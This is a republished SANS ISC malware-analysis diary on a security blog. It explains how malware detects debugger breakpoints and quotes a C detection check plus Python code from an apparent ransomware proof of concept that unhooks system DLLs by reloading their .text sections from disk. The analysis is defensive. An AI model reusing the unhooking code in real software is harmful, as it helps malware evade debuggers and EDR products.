• Rethinking AI Data Security: A Buyer’s Guide  The Hacker [email protected] (The Hacker News)
    • Scattered Spider Resurfaces With Financial Sector Attacks Despite Retirement Claims The Hacker [email protected] (The Hacker News)
    • CTRL-Z DLL Hooking, (Wed, Sep 17th) SANS Internet Storm Center, InfoCON: green
    • DOJ Resentences BreachForums Founder to 3 Years for Cybercrime and Possession of CSAM The Hacker [email protected] (The Hacker News)
    • RaccoonO365 Phishing Network Shut Down After Microsoft and Cloudflare Disrupt 338 Domains The Hacker [email protected] (The Hacker News)
    • The Beginner’s Guide to Using AI: 5 Easy Ways to Get Started (Without Accidentally Summoning Skynet)
      by Tech Jacks
      March 29, 2025
    • Tips and Tricks to Enhance Your Incident Response Procedures
      by Tech Jacks
      March 17, 2025
    • Building a Security Roadmap for Your Company: Strategic Precision for Modern Enterprises 
      by Tech Jacks
      March 10, 2025
    • The Power of Policy: How Creating Strong Standard Operating Procedures Expedites Security Initiatives
      by Tech Jacks
      March 6, 2025
    • Building a Future-Proof SOC: Strategies for CISOs and Infosec Leaders 
      by Tech Jacks
      March 3, 2025
    • Security Gate Keeping – Annoying – Unhelpful
      by Tech Jacks
      November 13, 2024

  • Home
  • Blog & Observations
  • Articles
    • Guest Author
      • Peter Ramadan
        • SOC IT to ME
        • The Power of Policy
        • CISO Elite
  • In The News
  • Podcast & Vlogs
    • Podcast Videos
    • Security Unfiltered Podcast Information
  • Training & Videos
    • AI
      • AI Governance
    • Cloud
      • AWS
      • Azure
      • Google Cloud
    • Networking
    • Scripting
    • Security
      • Application Security
      • Cloud Security
      • Incident Response
      • Pentesting Information
      • Risk Management
      • Security Policy
    • Servers
    • Microsoft SCCM
    • ISC2
  • Services

CTRL-Z DLL Hooking, (Wed, Sep 17th) SANS Internet Storm Center, InfoCON: green

September 17, 2025

When you’re debugging a malware sample, you probably run it into a debugger and define some breakpoints. The idea is to take over the program control before it will perform “interesting” actions. Usually, we set breakpoints on memory management API call (like VirtualAlloc()) or process activities (like CreateProcess(), CreateRemoteThread(), …). 

When you’re debugging a malware sample, you probably run it into a debugger and define some breakpoints. The idea is to take over the program control before it will perform “interesting” actions. Usually, we set breakpoints on memory management API call (like VirtualAlloc()) or process activities (like CreateProcess(), CreateRemoteThread(), …).

The default technique used by debuggers to implement breakpoints is to “hook” the original API call by overwriting the very first byte of the function (overwriting it with an INT3(1) instruction). This is called a software breakpoint because the program code is slightly modified and we instruct it to perform a software interrupt. Yes, it looks like a malicious behavior but for the good. Note that other breakpoint techniques exist but let’s focus on the software one.

As usual, malware reversing is a perpetual cat and mouse game. Malware can detect such technique very easily. Just check if the first byte at the location of an API call in memory is “CC” (the opcode of INT3) and you’re good:

HMODULE h = GetModuleHandleA("kernel32.dll");       // Get DLL address
FARPROC a = GetProcAddress(h, "VirtualAlloc");      // Get API call address
BYTE b = *a;
if (b == 0xCC) {                                    // CC is the INT3 opcode
    printf(“Breakpoint set on VirtualAlloc()!n”);
}

The problem with this technique is that the malware must know which API call(s) has(ve) been patched. The same technique can be used by EDRs. Potentially, a lot of API calls are involved. When I’m debugging a malware sample, it’s very common to have more than 10 breakpoints!

Because all this activity happens in memory (remember that copies of DLLs used by a program are loaded in the process memory space by the OS loader), another technique is just to “reload” the clean code (without the patches) from the original DLL (located on disk). It’s like performing a “undo” or “CTRL-Z” to restore the initial DLL state. I found this technique in a Python malicious code found on VT yesterday. The script seems a ransomware PoC and it received a very low score (4/63) (SHA256: 197dd96e76114a1e6d4fb4964767a009d147a2c0de277bc5711dedb7a4152693)

During the initialization, the malware will “unhook” some DLLS to get rid of potential breakpoints:

def _unhook_dlls(self):
    """SXVM-style DLL unhooking"""
    try:
        # Unhook critical DLLs like SXVM does
        for dll in ['ntdll.dll', 'kernel32.dll', 'kernelbase.dll']:
            try:
                self._restore_text_section(dll)
            except:
                continue
            return True
    except:
        return False

def _restore_text_section(self, dll_name):
    """Restore .text section from disk like SXVM"""
    try:
        # Get system directory
        system_dir = os.environ.get('SystemRoot', 'C:\Windows') + '\System32\'
        dll_path = system_dir + dll_name

        if os.path.exists(dll_path):
            with open(dll_path, 'rb') as f:
                disk_data = f.read()
                
            # Parse PE headers to find .text section
            pe_offset = struct.unpack('<I', disk_data[0x3C:0x40])[0]
            section_count = struct.unpack('<H', disk_data[pe_offset + 6:pe_offset + 8])[0]
            section_offset = pe_offset + 0x18 + struct.unpack('<H', disk_data[pe_offset + 0x14:pe_offset + 0x16])[0]
               
            for i in range(section_count):
                section_name = disk_data[section_offset + i*40:section_offset + i*40 + 8].decode().strip('x00')
                if section_name == '.text':
                    virtual_size = struct.unpack('<I', disk_data[section_offset + i*40 + 8:section_offset + i*40 + 12])[0]
                    virtual_addr = struct.unpack('<I', disk_data[section_offset + i*40 + 12:section_offset + i*40 + 16])[0]
                    raw_size = struct.unpack('<I', disk_data[section_offset + i*40 + 16:section_offset + i*40 + 20])[0]
                    raw_offset = struct.unpack('<I', disk_data[section_offset + i*40 + 20:section_offset + i*40 + 24])[0]
                       
                    # Get module base address
                    module_base = ctypes.windll.kernel32.GetModuleHandleW(dll_name)
                    if module_base:
                        # Copy .text section from disk to memory
                        text_section = disk_data[raw_offset:raw_offset + raw_size]
                        old_protect = ctypes.c_uint32()
                        self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, 0x40, ctypes.byref(old_protect))
                        ctypes.memmove(module_base + virtual_addr, text_section, raw_size)
                        self.kernel32.VirtualProtect(module_base + virtual_addr, raw_size, old_protect, ctypes.byref(old_protect))
                    break
        return True
    except:
        return False

This piece of code is easy to understand, it will restore the .text section (the section that contains executable code) from common DLLs – they provide a lot of interesting API calls used by malware. The DLL is read from disk, the PE headers are parsed to find the location and size of the .text section. The code is read and the re-injected in the loaded version of the DLL. The .text version is overwritten and… all software breakpoints are gone! This technique works perfectly because the program can perform any action on its own memory. Of course, to perform this action, you see calls to VirtualProtect() to change and restore the memory protection bits.

The script contains many reference to the “SXVM” ransomware and it not obfuscated. I did not find any reference to this name. Seems to be in development or a proof-of-concept?

(1) https://en.wikipedia.org/wiki/INT_(x86_instruction)

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License. 

​Read More

Share this:

  • Click to share on X (Opens in new window) X
  • Click to share on Reddit (Opens in new window) Reddit
  • Click to share on LinkedIn (Opens in new window) LinkedIn
  • Click to share on Facebook (Opens in new window) Facebook
  • Click to email a link to a friend (Opens in new window) Email

Like this:

Like Loading...
Share

In The News

Tech Jacks
Derrick Jackson is a IT Security Professional with over 10 years of experience in Cybersecurity, Risk, & Compliance and over 15 Years of Experience in Enterprise Information Technology

Leave A Reply


Leave a Reply Cancel reply

You must be logged in to post a comment.

This site uses Akismet to reduce spam. Learn how your comment data is processed.

  • Blog

    • Security Gate Keeping - Annoying - Unhelpful
      November 13, 2024
    • 15 Years on LinkedIn: An Authentic Reflection(or a Beauty...
      October 24, 2024
    • Podcast & Cloud Security Governance
      February 24, 2021
    • The Journey Continues - Moving through 2021
      January 5, 2021
    • CISSP Journey
      February 22, 2019




  • About TechJacks
  • Privacy Policy
  • Gaming Kaiju
© Copyright Tech Jacks Solutions 2025

%d